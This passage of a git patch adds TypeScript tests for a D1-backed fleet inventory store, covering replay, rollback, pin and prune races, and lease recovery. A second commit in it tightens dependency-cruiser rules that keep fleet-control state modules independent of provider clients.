deployment_ordinal: 0, + fact_kind: 'secret-name', + fact_ordinal: 1, + payload: JSON.stringify({ name: 'ANCHORAGE_NAME_1' }), + }, + ]); + expect(result.afterReplay).toEqual(result.afterAcceptance); + expect(result.acceptanceError).toBeNull(); + expect(result.accepted).toEqual(result.intended); + expect(result.replay).toEqual(result.intended); +} + function harnessOptions() { return { root: ROOT, @@ -1307,6 +1446,33 @@ describe.sequential('D1FleetStateStore Wrangler harness', { }); }); + it('inventory maximum mixed chunk retains exact rows and facts through replay and finalization', async () => { + const result = await probe<{ + acceptedRevision: number; + replayEqual: boolean; + rowsEqual: boolean; + factsEqual: boolean; + rowCount: number; + factCount: number; + maxStatements: number; + maxBindings: number; + maxSqlBytes: number; + maxBindingBytes: number; + }>('inventory-maximum-chunk'); + expect(result).toMatchObject({ + acceptedRevision: 1, + replayEqual: true, + rowsEqual: true, + factsEqual: true, + rowCount: 1000, + factCount: 1000, + maxStatements: 2001, + }); + expect(result.maxBindings).toBeLessThanOrEqual(100); + expect(result.maxSqlBytes).toBeLessThanOrEqual(100_000); + expect(result.maxBindingBytes).toBeLessThanOrEqual(2_000_000); + }); + it('applies the inventory start batch atomically under concurrent stores', async () => { const result = await probe<{ started: number; @@ -1343,6 +1509,570 @@ describe.sequential('D1FleetStateStore Wrangler harness', { expect(result.generation).toBe(1); }); + it.each([ + false, + true, + ])('rolls back cross-account inventory ID collisions (concurrent=%s)', async (concurrent) => { + const result = await probe<{ + operationId: string; + nextOperationId: string; + winnerAccount: string; + loserAccount: string; + attempts: Array< + | { status: 'fulfilled'; run: FleetInventoryRunRecord } + | { status: 'rejected'; error: ProbeError } + >; + before: InventorySnapshot; + afterCollision: InventorySnapshot; + refused: ProbeError | null; + replay: FleetInventoryRunRecord; + busy: ProbeError | null; + afterRefusals: InventorySnapshot; + next: FleetInventoryRunRecord | null; + nextError: ProbeError | null; + afterNext: InventorySnapshot; + }>('inventory-cross-account-start', { concurrent }); + expect(result.before.heads).toEqual( + ['account-inventory', 'account-inventory-other'].map((account_id) => ({ + account_id, + active_operation_id: null, + latest_finalized_generation: 1, + next_generation: 2, + })), + ); + expect(result.afterCollision.heads).toEqual( + result.before.heads.map((head) => + head.account_id === result.winnerAccount + ? { + ...head, + active_operation_id: result.operationId, + next_generation: 3, + } + : head, + ), + ); + expect( + result.afterCollision.runs.filter( + (run) => run.operation_id !== result.operationId, + ), + ).toEqual(result.before.runs); + expect( + result.afterCollision.runs.filter( + (run) => run.operation_id === result.operationId, + ), + ).toEqual([ + { + account_id: result.winnerAccount, + operation_id: result.operationId, + generation: 2, + options_digest: result.replay.optionsDigest, + run_record: JSON.stringify(result.replay), + created_at_ms: expect.any(Number), + finalized_at_ms: null, + }, + ]); + expect(result.afterCollision.rows).toEqual(result.before.rows); + expect(result.afterCollision.facts).toEqual(result.before.facts); + expect(result.afterRefusals).toEqual(result.afterCollision); + expect(result.next).toMatchObject({ + operationId: result.nextOperationId, + state: 'staging', + progress: { generation: 2, revision: 0 }, + }); + expect(result.afterNext.heads).toEqual( + result.afterCollision.heads.map((head) => + head.account_id === result.loserAccount + ? { + ...head, + active_operation_id: result.nextOperationId, + next_generation: 3, + } + : head, + ), + ); + expect( + result.afterNext.runs.filter( + (run) => run.operation_id !== result.nextOperationId, + ), + ).toEqual(result.afterCollision.runs); + expect( + result.afterNext.runs.filter( + (run) => run.operation_id === result.nextOperationId, + ), + ).toEqual([ + { + account_id: result.loserAccount, + operation_id: result.nextOperationId, + generation: 2, + options_digest: result.replay.optionsDigest, + run_record: JSON.stringify(result.next), + created_at_ms: expect.any(Number), + finalized_at_ms: null, + }, + ]); + expect(result.afterNext.rows).toEqual(result.before.rows); + expect(result.afterNext.facts).toEqual(result.before.facts); + expect( + result.attempts.filter((entry) => entry.status === 'fulfilled'), + ).toEqual([{ status: 'fulfilled', run: result.replay }]); + const uniqueError = { + message: expect.stringContaining( + 'UNIQUE constraint failed: anchorage_fleet_inventory_runs.operation_id', + ), + }; + expect( + result.attempts.filter((entry) => entry.status === 'rejected'), + ).toEqual([ + { status: 'rejected', error: expect.objectContaining(uniqueError) }, + ]); + expect(result.refused).toMatchObject(uniqueError); + expect(result.busy).toEqual({ + name: 'Error', + message: `fleet inventory for account '${result.winnerAccount}' has an active operation other than '${result.nextOperationId}'`, + }); + expect(result.nextError).toBeNull(); + }); + + it.each([ + 'rows', + 'both', + 'empty', + ] as const)('inventory pin availability handles interrupted %s reclamation and cleanup recovery', async (mode) => { + const result = await probe<{ + before: InventorySnapshot; + interrupted: ProbeError | null; + partial: InventorySnapshot; + pin: ProbeError | null; + afterPin: InventorySnapshot; + pins: Array<{ + account_id: string; + generation: number; + pinned_by: string; + }>; + read: { + generation: { rows: unknown[]; facts: unknown[] } | null; + error: ProbeError | null; + }; + retried: { deleted: number }; + afterRetry: InventorySnapshot; + }>('inventory-partial-prune', { mode }); + expect(result.before.runs).toHaveLength(2); + expect( + result.before.rows.filter((row) => row.generation === 1), + ).toHaveLength(mode === 'empty' ? 0 : 3); + expect( + result.before.facts.filter((row) => row.generation === 1), + ).toHaveLength(mode === 'empty' ? 0 : 1); + expect(result.partial).toEqual({ + ...result.before, + rows: result.before.rows.filter((row) => row.generation !== 1), + facts: + mode === 'rows' + ? result.before.facts + : result.before.facts.filter((row) => row.generation !== 1), + }); + expect(result.afterPin).toEqual(result.partial); + expect(result.interrupted).toEqual({ + name: 'Error', + message: + "fleet inventory for account 'account-inventory' lease is no longer owned by this operation", + }); + if (mode === 'empty') { + expect(result.pin).toBeNull(); + expect(result.pins).toEqual([ + { account_id: 'account-inventory', generation: 1, pinned_by: 'reader' }, + ]); + expect(result.read.generation?.rows).toEqual([]); + expect(result.read.generation?.facts).toEqual([]); + expect(result.read.error).toBeNull(); + } else { + expect(result.pins).toEqual([]); + expect(result.pin).toEqual({ + name: 'Error', + message: 'fleet inventory generation 1 is corrupt', + }); + expect(result.read.generation).toBeNull(); + } + expect(result.retried).toEqual({ deleted: 1 }); + expect(result.afterRetry).toEqual({ + ...result.before, + runs: result.before.runs.filter((row) => row.generation !== 1), + rows: result.before.rows.filter((row) => row.generation !== 1), + facts: result.before.facts.filter((row) => row.generation !== 1), + }); + }); + + it('inventory finalization requires a dense manifest and accepts gap repair', async () => { + const result = await probe<{ + operationId: string; + before: InventorySnapshot; + afterRefusal: InventorySnapshot; + refused: ProbeError | null; + final: { rows: Array<{ ordinal: number }>; facts: unknown[] }; + }>('inventory-dense-finalization'); + expect(result.afterRefusal).toEqual(result.before); + expect(result.refused).toEqual({ + name: 'Error', + message: `fleet inventory run '${result.operationId}' does not match its finalize manifest`, + }); + expect(result.final.rows.map((row) => row.ordinal)).toEqual([0, 1, 2]); + expect(result.final.facts).toEqual([]); + }); + + it.each([ + 'pin', + 'prune', + ] as const)('inventory pin admission preserves the %s winner without orphan protection', async (winner) => { + const result = await probe<{ + before: InventorySnapshot; + after: InventorySnapshot; + pins: Array<{ + account_id: string; + generation: number; + pinned_by: string; + }>; + pinOutcome: { ok: boolean; error: ProbeError | null }; + pruneOutcome: { deleted: number | null; error: ProbeError | null }; + read: { + generation: { + ref: { generation: number }; + rows: Array<{ kind: string; ordinal: number; payload: unknown }>; + facts: unknown[]; + } | null; + error: ProbeError | null; + }; + }>('inventory-pin-prune-race', { winner }); + expect(result.before.runs).toHaveLength(2); + expect(result.before.rows).toHaveLength(6); + expect(result.before.facts).toHaveLength(2); + if (winner === 'prune') { + expect(result.after).toEqual({ + ...result.before, + runs: result.before.runs.filter((row) => row.generation !== 1), + rows: result.before.rows.filter((row) => row.generation !== 1), + facts: result.before.facts.filter((row) => row.generation !== 1), + }); + expect(result.pins).toEqual([]); + expect(result.pinOutcome).toEqual({ + ok: false, + error: { + name: 'Error', + message: 'fleet inventory generation 1 is not finalized', + }, + }); + expect(result.pruneOutcome).toEqual({ deleted: 1, error: null }); + expect(result.read.generation).toBeNull(); + expect(result.read.error).not.toBeNull(); + } else { + expect(result.after).toEqual(result.before); + expect(result.pins).toEqual([ + { + account_id: 'account-inventory', + generation: 1, + pinned_by: 'race-reader', + }, + ]); + expect(result.pinOutcome).toEqual({ ok: true, error: null }); + expect(result.pruneOutcome).toEqual({ deleted: 0, error: null }); + expect(result.read.error).toBeNull(); + expect(result.read.generation?.ref.generation).toBe(1); + expect(result.read.generation?.rows).toEqual( + result.before.rows + .filter((row) => row.generation === 1) + .map((row) => ({ + kind: row.kind, + ordinal: row.ordinal, + payload: JSON.parse(row.payload), + })), + ); + expect(result.read.generation?.facts).toHaveLength(1); + } + }); + + it('inventory pruning rechecks a late active owner before deleting rows, facts or the run', async () => { + const result = await probe<{ + operationId: string; + before: InventorySnapshot; + afterPromotion: InventorySnapshot; + pruned: { deleted: number }; + afterPrune: InventorySnapshot; + }>('inventory-prune-active-race'); + expect(result.before.rows).toHaveLength(3); + expect(result.before.facts).toHaveLength(1); + expect(result.before.runs).toHaveLength(1); + expect(JSON.parse(result.before.runs[0]?.run_record ?? 'null').state).toBe( + 'failed', + ); + expect(result.before.heads).toEqual([ + { + account_id: 'account-inventory', + active_operation_id: null, + latest_finalized_generation: null, + next_generation: 2, + }, + ]); + expect(result.afterPromotion).toEqual({ + ...result.before, + heads: [ + { ...result.before.heads[0], active_operation_id: result.operationId }, + ], + }); + expect(result.afterPrune).toEqual(result.afterPromotion); + expect(result.pruned).toEqual({ deleted: 0 }); + }); + + it('repairs an interrupted inventory failure under a fresh lease without clearing a newer head', async () => { + const result = await probe<{ + staged: FleetInventoryRunRecord; + nextOperationId: string; + before: InventorySnapshot; + interrupted: ProbeError | null; + afterInterrupted: InventorySnapshot; + pruningBeforeRepair: { deleted: number }; + afterPruningBeforeRepair: InventorySnapshot; + wrongRevision: ProbeError | null; + afterWrongRevision: InventorySnapshot; + recoveryError: ProbeError | null; + afterRecovery: InventorySnapshot; + leaseOwners: Array<{ owner_token: string; expires_at: number }>; + now: number; + next: FleetInventoryRunRecord | null; + nextError: ProbeError | null; + beforeNewHeadReplay: InventorySnapshot; + newHeadReplayError: ProbeError | null; + afterNewHeadReplay: InventorySnapshot; + prunedInactive: { deleted: number }; + afterInactivePrune: InventorySnapshot; + }>('inventory-failure-recovery'); + expect(result.staged).toMatchObject({ + state: 'staging', + progress: { generation: 2, revision: 1 }, + }); + expect(result.before.heads).toEqual([ + { + account_id: 'account-inventory', + active_operation_id: result.staged.operationId, + latest_finalized_generation: 1, + next_generation: 3, + }, + ]); + expect(result.afterInterrupted).toEqual({ + ...result.before, + runs: result.before.runs.map((run) => + run.operation_id === result.staged.operationId + ? { + ...run, + run_record: JSON.stringify({ ...result.staged, state: 'failed' }), + } + : run, + ), + }); + expect(result.afterPruningBeforeRepair).toEqual(result.afterInterrupted); + expect(result.pruningBeforeRepair).toEqual({ deleted: 0 }); + expect(result.afterWrongRevision).toEqual(result.afterInterrupted); + expect(result.afterRecovery).toEqual({ + ...result.afterInterrupted, + heads: result.before.heads.map((head) => ({ + ...head, + active_operation_id: null, + })), + }); + expect(result.next).toMatchObject({ + operationId: result.nextOperationId, + state: 'staging', + progress: { generation: 3, revision: 0 }, + }); + expect(result.beforeNewHeadReplay.heads).toEqual([ + { + account_id: 'account-inventory', + active_operation_id: result.nextOperationId, + latest_finalized_generation: 1, + next_generation: 4, + }, + ]); + expect( + result.beforeNewHeadReplay.runs.filter( + (run) => run.operation_id !== result.nextOperationId, + ), + ).toEqual(result.afterRecovery.runs); + expect( + result.beforeNewHeadReplay.runs.filter( + (run) => run.operation_id === result.nextOperationId, + ), + ).toEqual([ + { + account_id: 'account-inventory', + operation_id: result.nextOperationId, + generation: 3, + options_digest: result.staged.optionsDigest, + run_record: JSON.stringify(result.next), + created_at_ms: expect.any(Number), + finalized_at_ms: null, + }, + ]); + expect(result.beforeNewHeadReplay.rows).toEqual(result.before.rows); + expect(result.beforeNewHeadReplay.facts).toEqual(result.before.facts); + expect(result.afterNewHeadReplay).toEqual(result.beforeNewHeadReplay); + expect(result.afterInactivePrune).toEqual({ + ...result.afterNewHeadReplay, + runs: result.afterNewHeadReplay.runs.filter( + (row) => row.generation !== 2, + ), + rows: result.afterNewHeadReplay.rows.filter( + (row) => row.generation !== 2, + ), + facts: result.afterNewHeadReplay.facts.filter( + (row) => row.generation !== 2, + ), + }); + expect(result.prunedInactive).toEqual({ deleted: 1 }); + expect(result.leaseOwners).toHaveLength(2); + const [expired, fresh] = result.leaseOwners; + expect(expired?.owner_token).toEqual(expect.any(String)); + expect(fresh?.owner_token).toEqual(expect.any(String)); + expect(fresh?.owner_token).not.toBe(expired?.owner_token); + expect(result.now).toBe(1_060_001); + expect(expired?.expires_at).toBeLessThan(result.now); + expect(fresh?.expires_at).toBeGreaterThan(result.now); + expect(result.interrupted).toEqual({ + name: 'Error', + message: + "fleet inventory for account 'account-inventory' lease is no longer owned by this operation", + }); + expect(result.wrongRevision).toEqual({ + name: 'Error', + message: `fleet inventory run '${result.staged.operationId}' is no longer at the expected revision`, + }); + expect(result.recoveryError).toBeNull(); + expect(result.nextError).toBeNull(); + expect(result.newHeadReplayError).toBeNull(); + }); + + it.each([ + 'normal', + 'stale', + 'fallback', + ] as const)('repairs %s finalized inventory continuation without provider replay or weakening historical pins', async (mode) => { + const result = await probe<{ + staged: FleetInventoryRunRecord; + before: InventorySnapshot; + interrupted: ProbeError | null; + afterInterrupted: InventorySnapshot; + pruningBeforeRepair: { deleted: number }; + afterPruningBeforeRepair: InventorySnapshot; + recovery: { + result: FleetInventoryAdvanceResult | null; + error: ProbeError | null; + }; + afterRecovery: InventorySnapshot; + recoveryTrace: string[]; + recoveryRepairs: unknown[]; + providerCalls: number; + historical: null | { + newer: FleetInventoryRunRecord; + before: InventorySnapshot; + unpinned: ProbeError | null; + afterUnpinned: InventorySnapshot; + pinned: FleetInventoryAdvanceResult; + afterPinned: InventorySnapshot; + released: ProbeError | null; + afterReleased: InventorySnapshot; + }; + }>('inventory-finalized-continuation-recovery', { mode }); + expect(result.staged).toMatchObject({ + state: 'staging', + progress: { generation: 1, revision: 1, stage: { step: 'finalize' } }, + }); + expect(result.before.heads).toEqual([ + { + account_id: 'account-inventory', + active_operation_id: result.staged.operationId, + latest_finalized_generation: null, + next_generation: 2, + }, + ]); + expect(result.afterInterrupted).toEqual({ + ...result.before, + runs: result.before.runs.map((run) => ({ + ...run, + run_record: JSON.stringify({ ...result.staged, state: 'finalized' }), + finalized_at_ms: 1_000_000, + })), + }); + expect(result.afterPruningBeforeRepair).toEqual(result.afterInterrupted); + expect(result.pruningBeforeRepair).toEqual({ deleted: 0 }); + expect(result.afterRecovery).toEqual({ + ...result.afterInterrupted, + heads: result.before.heads.map((head) => ({ + ...head, + active_operation_id: null, + latest_finalized_generation: 1, + })), + }); + expect(result.recovery.result).toEqual({ + status: 'complete', + token: { + version: 1, + operationId: result.staged.operationId, + revision: 1, + }, + generation: { + generation: 1, + operationId: result.staged.operationId, + finalizedAtMs: 1_000_000, + rowManifest: result.staged.progress.stagedCounts, + factCount: result.staged.progress.factCount, + }, + }); + expect(result.recoveryTrace).toEqual([ + 'lease-read', + ...(mode === 'fallback' ? ['fallback-read'] : []), + 'finalize', + 'generation-read', + ]); + expect(result.recoveryRepairs).toEqual([ + { + operationId: result.staged.operationId, + expectedRevision: 1, + manifest: result.staged.progress.stagedCounts, + factCount: result.staged.progress.factCount, + }, + ]); + expect(result.historical).not.toBeNull(); + if (!result.historical) + throw new Error('historical continuation probe missing'); + expect(result.historical.newer).toMatchObject({ + state: 'staging', + progress: { generation: 3 }, + }); + expect(result.historical.before.heads).toEqual([ + { + account_id: 'account-inventory', + active_operation_id: result.historical.newer.operationId, + latest_finalized_generation: 2, + next_generation: 4, + }, + ]); + expect(result.historical.afterUnpinned).toEqual(result.historical.before); + expect(result.historical.afterPinned).toEqual(result.historical.before); + expect(result.historical.afterReleased).toEqual(result.historical.before); + expect(result.historical.pinned).toEqual(result.recovery.result); + expect(result.providerCalls).toBe(0); + expect(result.interrupted).toEqual({ + name: 'Error', + message: + "fleet inventory for account 'account-inventory' lease is no longer owned by this operation", + }); + expect(result.recovery.error).toBeNull(); + const requiresPin = { + name: 'Error', + message: + 'fleet inventory generation 1 requires a pin before it can be read', + }; + expect(result.historical.unpinned).toEqual(requiresPin); + expect(result.historical.released).toEqual(requiresPin); + }); + it('admits one commit writer and converges the rest under concurrent batches', async () => { const result = await probe<{ committed: number; @@ -1374,6 +2104,180 @@ describe.sequential('D1FleetStateStore Wrangler harness', { ]); }); + describe.each([ + 'ordinary', + 'hidden', + ] as const)('inventory chunk with %s results', (delivery) => { + it.each([ + 'account', + 'generation', + 'options', + ] as const)('rejects a different %s before durable mutation', async (fault) => { + const result = await probe( + 'inventory-commit-refusal', + { fault, hideResults: delivery === 'hidden' }, + ); + expectInventoryRefusalAndReplay(result); + if (fault === 'generation') { + expect(result.attempted.runRecord.progress.generation).toBe(99); + } else if (fault === 'options') { + expect(result.attempted.runRecord.options).toEqual({ + ...result.prior.options, + scriptNamePrefix: 'alternate', + }); + expect(result.attempted.runRecord.optionsDigest).toBe( + fleetInventoryOptionsDigest(result.attempted.runRecord.options), + ); + expect(result.attempted.runRecord.optionsDigest).not.toBe( + result.before.runs[0]?.options_digest, + ); + } + expect(result.refused).toEqual({ + name: 'Error', + message: + fault === 'account' + ? `no fleet inventory run for operation '${result.prior.operationId}'` + : `fleet inventory run '${result.prior.operationId}' is no longer at the expected revision`, + }); + }); + + it.each([ + 'row', + 'fact', + ] as const)('rolls back earlier siblings on an immutable %s conflict', async (kind) => { + const result = await probe( + 'inventory-commit-refusal', + { fault: `${kind}-conflict`, hideResults: delivery === 'hidden' }, + ); + expectInventoryRefusalAndReplay(result); + expect(result.attempted.rows[0]).toEqual({ + kind: 'meta', + ordinal: 0, + payload: { marker: 'earlier-sibling' }, + }); + if (kind === 'row') { + expect(result.attempted.rows[1]).toEqual({ + kind: 'registration', + ordinal: 0, + payload: { scriptName: 'different' }, + }); + } else { + expect(result.attempted.facts).toEqual([ + { + deploymentOrdinal: 0, + factKind: 'secret-name', + factOrdinal: 1, + payload: { name: 'ANCHORAGE_NAME_1' }, + }, + { + deploymentOrdinal: 0, + factKind: 'secret-name', + factOrdinal: 0, + payload: { name: 'DIFFERENT_NAME' }, + }, + ]); + } + expect(result.refused).toMatchObject({ + name: 'Error', + message: expect.stringContaining( + `UNIQUE constraint failed: anchorage_fleet_inventory_${kind === 'row' ? 'rows' : 'deployment_facts'}.account_id`, + ), + }); + }); + + it.each([ + { fault: 'duplicate-row', duplicatePayload: 'same' }, + { fault: 'duplicate-row', duplicatePayload: 'different' }, + { fault: 'duplicate-fact', duplicatePayload: 'same' }, + { fault: 'duplicate-fact', duplicatePayload: 'different' }, + ] as const)('rejects $fault keys with $duplicatePayload payloads without effects', async ({ + fault, + duplicatePayload, + }) => { + const result = await probe( + 'inventory-commit-refusal', + { fault, duplicatePayload, hideResults: delivery === 'hidden' }, + ); + expectInventoryRefusalAndReplay(result); + const duplicates = + fault === 'duplicate-row' + ? result.attempted.rows + : result.attempted.facts; + expect(duplicates).toHaveLength(2); + expect(duplicates[1]).toEqual({ + ...duplicates[0], + payload: + duplicatePayload === 'same' + ? duplicates[0]?.payload + : fault === 'duplicate-row' + ? { marker: 'different' } + : { name: 'DIFFERENT_NAME' }, + }); + expect(result.refused).toEqual({ + name: 'FleetInventoryStateError', + message: 'fleet inventory state is malformed', + }); + }); + + it.each([ + 'failed', + 'stage', + 'provider-requests', + 'updated-at', + ] as const)('refuses same-revision %s convergence after an exact replay', async (change) => { + const result = await probe<{ + intended: FleetInventoryRunRecord; + attempted: FleetInventoryRunRecord; + accepted: FleetInventoryRunRecord; + afterAcceptance: InventorySnapshot; + replay: FleetInventoryRunRecord; + afterReplay: InventorySnapshot; + beforeRefusal: InventorySnapshot; + afterRefusal: InventorySnapshot; + refused: ProbeError | null; + }>('inventory-commit-replay', { + change, + hideResults: delivery === 'hidden', + }); + expectInventorySeed(result.afterAcceptance, result.intended); + expect(result.afterReplay).toEqual(result.afterAcceptance); + expect(result.beforeRefusal).toEqual({ + ...result.afterReplay, + heads: + change === 'failed' + ? [ + { + ...result.afterReplay.heads[0], + active_operation_id: null, + }, + ] + : result.afterReplay.heads, + runs: [ + { + ...result.afterReplay.runs[0], + run_record: JSON.stringify({ + ...result.intended, + state: change === 'failed' ? 'failed' : 'staging', + }), + }, + ], + }); + expect(result.afterRefusal).toEqual(result.beforeRefusal); + expect(result.accepted).toEqual(result.intended); + expect(result.replay).toEqual(result.intended); + expect(result.attempted.progress.revision).toBe(1); + if (change === 'failed') { + expect(result.attempted).toEqual(result.intended); + } else { + expect(result.attempted).not.toEqual(result.intended); + } + expect(result.refused).toEqual({ + name: 'Error', + message: `fleet inventory run '${result.intended.operationId}' is no longer at the expected revision`, + }); + }); + }); + it('converges a lost finalize response through the run and head readback', async () => { const result = await probe<{ first: { generation: number; factCount: number; finalizedAtMs: number }; From 76026a9d273795eb7da014b620939e3fdb8db5bd Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Tue, 8 Sep 2026 19:18:23 +0400 Subject: [PATCH 087/169] fix(fleet-control): strengthen public architecture boundaries --- .changeset/bounded-fleet-audit.md | 2 +- .dependency-cruiser.cjs | 70 ++---- docs/fleet-control.md | 6 +- .../scripts/packed-consumer-test.mjs | 11 + .../fleet-control/src/fleet-audit-advance.ts | 59 +---- packages/fleet-control/src/index.ts | 1 + pnpm-workspace.yaml | 14 +- .../cleanup-advance-imports-provider.ts | 1 + .../decommission-advance-imports-provider.ts | 1 + .../inventory-advance-imports-provider.ts | 1 + .../operation-advance-imports-provider.ts | 13 +- .../architecture-positive-controls.test.mjs | 232 ++++++++++++++---- 12 files changed, 229 insertions(+), 182 deletions(-) diff --git a/.changeset/bounded-fleet-audit.md b/.changeset/bounded-fleet-audit.md index f2b1e8f2..3997ea9b 100644 --- a/.changeset/bounded-fleet-audit.md +++ b/.changeset/bounded-fleet-audit.md @@ -18,4 +18,4 @@ The operation store rejects invalid row-page selectors before schema work. Inval `failOperation` accepts at most one item update. Terminal transitions refuse operation IDs belonging to another operation kind. Row-watermark refusals preserve sibling rows, and noncontiguous caller inserts below a claimed watermark refuse before SQL. See `FleetOperationLease` for the operation-store contract. -The new `readFleetAuditFindingsPage()` resolves to a `done`-discriminated result: `{findings, done: true, nextAfterOrdinal?}` or `{findings, done: false, nextAfterOrdinal}`. No existing public export changes shape, and the Worker subpath is unchanged. +The new `readFleetAuditFindingsPage()` resolves to the exported `FleetAuditFindingsPage` type, a `done`-discriminated result: `{findings, done: true, nextAfterOrdinal?}` or `{findings, done: false, nextAfterOrdinal}`. No existing public export changes shape, and the Worker subpath is unchanged. diff --git a/.dependency-cruiser.cjs b/.dependency-cruiser.cjs index 4f6963bf..98479d3d 100644 --- a/.dependency-cruiser.cjs +++ b/.dependency-cruiser.cjs @@ -1,13 +1,7 @@ const FLOWSAFE_PUBLIC_ENTRY = '^packages/flowsafe/src/(?:index|host-kit/index|agent-runner/index|signals/client)\\.ts$'; -// `principal-identity` is the import-free half of `principal` (the kind list -// and the two identity predicates). It is admitted here for the same reason the -// others are, and is strictly leafier than any of them: it imports nothing at -// all, so it cannot widen what do-runner reaches through approval-api. const ALLOWED_APPROVAL_API_LEAVES = '^packages/flowsafe/src/approval-api/(?:principal-identity|principal|contract|types)\\.ts$'; -// NOT extended with `principal-identity`: this is the exception list for the -// one tolerated import cycle, and a module with no imports can never be in one. const KNOWN_APPROVAL_API_CYCLE = '^packages/flowsafe/src/approval-api/(?:principal|contract|types)\\.ts$'; @@ -17,8 +11,6 @@ module.exports = { { name: 'flowsafe-public-entry-no-agent-host', severity: 'error', - comment: - 'Public, host-kit, runner, and signals-client entrypoints must stay independent of the optional agent host.', from: { path: [ FLOWSAFE_PUBLIC_ENTRY, @@ -33,8 +25,6 @@ module.exports = { { name: 'flowsafe-public-entry-no-breakwater', severity: 'error', - comment: - 'The same entrypoints must not transitively acquire the optional Breakwater peer.', from: { path: [ FLOWSAFE_PUBLIC_ENTRY, @@ -49,8 +39,6 @@ module.exports = { { name: 'do-runner-approval-api-leaves-only', severity: 'error', - comment: - 'do-runner may reach approval-api only through principal.ts, its import-free principal-identity.ts half, contract.ts, and their type-only types.ts leaf.', from: { path: [ '^packages/flowsafe/src/do-runner/index\\.ts$', @@ -66,8 +54,7 @@ module.exports = { { name: 'host-kit-no-durable-agent', severity: 'error', - comment: - 'The host-kit barrel uses the pure approval-shapes leaf and must not pull Mastra durable Agent Node built-ins.', + comment: 'Mastra durable Agent dependencies require Node built-ins.', from: { path: [ '^packages/flowsafe/src/host-kit/index\\.ts$', @@ -82,8 +69,7 @@ module.exports = { { name: 'host-kit-no-breakwater', severity: 'error', - comment: - 'Breakwater belongs to the separate host-kit/module authoring subpath, not the route-hosting barrel.', + comment: 'Breakwater belongs to the separate module-authoring subpath.', from: { path: [ '^packages/flowsafe/src/host-kit/index\\.ts$', @@ -111,8 +97,6 @@ module.exports = { { name: 'agent-starter-no-private-bare-entrypoints', severity: 'error', - comment: - 'Starter code imports documented package exports, never src/dist entrypoints or repository-root source paths.', from: { path: [ '^packages/agent-starter/(?:src|test|scripts)/', @@ -126,8 +110,6 @@ module.exports = { { name: 'agent-starter-no-relative-package-reaches', severity: 'error', - comment: - 'Starter code must not bypass package exports with a relative edge into a sibling package.', from: { path: [ '^packages/agent-starter/(?:src|test|scripts)/', @@ -143,7 +125,7 @@ module.exports = { name: 'fleet-control-is-control-plane-only', severity: 'error', comment: - 'Fleet control holds account credentials, routing ownership, and tenant lifecycle. Publishing it removed the registry barrier, so no other package may reach it, by bare name or by any subpath. Stated as everything-except rather than an allowlist of today packages, and architecture:check:rules cruises packages as ONE root, so a new package or source directory is covered the day it lands. Showcase and the flowsafe deploy template alias imports through bundler config this file does not resolve, so coverage is per-module direct-import rather than transitive.', + 'Fleet control holds account credentials, routing ownership, and tenant lifecycle authority. Showcase and the Flowsafe deploy template use bundler aliases that this resolver cannot follow.', from: { path: [ '^packages/', @@ -159,8 +141,6 @@ module.exports = { { name: 'no-new-architecture-cycles', severity: 'error', - comment: - 'The principal-contract-types type cycle is the sole existing exception; any cycle involving another module fails.', from: { path: '^(?:packages/flowsafe/src|packages/fleet-control/src|packages/agent-starter/(?:src|test|scripts)|scripts/architecture-fixtures)/', }, @@ -172,8 +152,6 @@ module.exports = { { name: 'fleet-control-client-layers-are-one-way', severity: 'error', - comment: - 'These fleet-control modules must not reach the Cloudflare client; a back-import would restore the coupling the extraction removed. The general cycle rule also covers Fleet Control, and tsPreCompilationDeps keeps type-only imports in the graph.', from: { path: [ '^packages/fleet-control/src/', @@ -191,7 +169,7 @@ module.exports = { name: 'fleet-control-decommission-state-does-not-reach-provider', severity: 'error', comment: - 'Persisted decommission state is a provider-free authority boundary. Keeping provider clients, operations, and error classification out of its reachable graph prevents the Fleet D1 codec from acquiring credential or transport dependencies.', + 'Persisted state codecs must not acquire credentials or transport dependencies.', from: { path: [ '^packages/fleet-control/src/(?:strict-plain-data|cloudflare-worker-attachment-scan-state|decommission-intent|decommission-advance|state-store)\\.ts$', @@ -206,8 +184,6 @@ module.exports = { { name: 'fleet-control-cleanup-state-does-not-reach-provider', severity: 'error', - comment: - 'Persisted cleanup state is a provider-free authority boundary. Keeping provider clients, operations, and error classification out of its reachable graph prevents the cleanup codec and eligibility classifier from acquiring credential or transport dependencies.', from: { path: [ '^packages/fleet-control/src/cleanup-intent\\.ts$', @@ -222,8 +198,6 @@ module.exports = { { name: 'fleet-control-inventory-state-does-not-reach-provider', severity: 'error', - comment: - 'Persisted account inventory state and its D1 run store are a provider-free authority boundary. Keeping provider clients, operations, and error classification out of their reachable graph prevents the inventory codecs and guarded batches from acquiring credential or transport dependencies.', from: { path: [ '^packages/fleet-control/src/(?:fleet-inventory-state|d1-fleet-inventory-run-store)\\.ts$', @@ -238,8 +212,6 @@ module.exports = { { name: 'fleet-control-operation-state-does-not-reach-provider', severity: 'error', - comment: - 'Persisted fleet operation state and its D1 store are a provider-free authority boundary. Keeping provider clients, operations, and error classification out of their reachable graph prevents the operation codecs and guarded batches from acquiring credential or transport dependencies.', from: { path: [ '^packages/fleet-control/src/(?:fleet-operation-state|fleet-audit-state|fleet-migration-state|d1-fleet-operation-store)\\.ts$', @@ -254,8 +226,6 @@ module.exports = { { name: 'fleet-control-decommission-advance-is-transport-neutral', severity: 'error', - comment: - 'The bounded decommission coordinator depends only on provider-neutral ports and state, including the provider-neutral database receipt port. Keeping provider clients, Wrangler, concrete export stores, root barrels, and unbounded lifecycle coordinators out of its reachable graph preserves the Worker-safe transport boundary.', from: { path: [ '^packages/fleet-control/src/decommission-advance\\.ts$', @@ -263,15 +233,13 @@ module.exports = { ], }, to: { - path: '(?:^packages/fleet-control/src/(?:backend-switch|cloudflare-worker-attachment-scan|cloudflare-client|cloudflare-ordinary-worker-operations|cloudflare-provider-errors|workers-for-platforms-backend-switch-provider|wrangler-plain-worker-provisioning-api|wrangler-loop-backend|wrangler-runner|export-file-name|export-store|r2-export-store|provision|fleet|index)\\.ts$|^packages/fleet-control/src/workers/|^cloudflare(?:/|$)|(?:^|/)node_modules/(?:\\.pnpm/)?cloudflare(?:@|/))', + path: 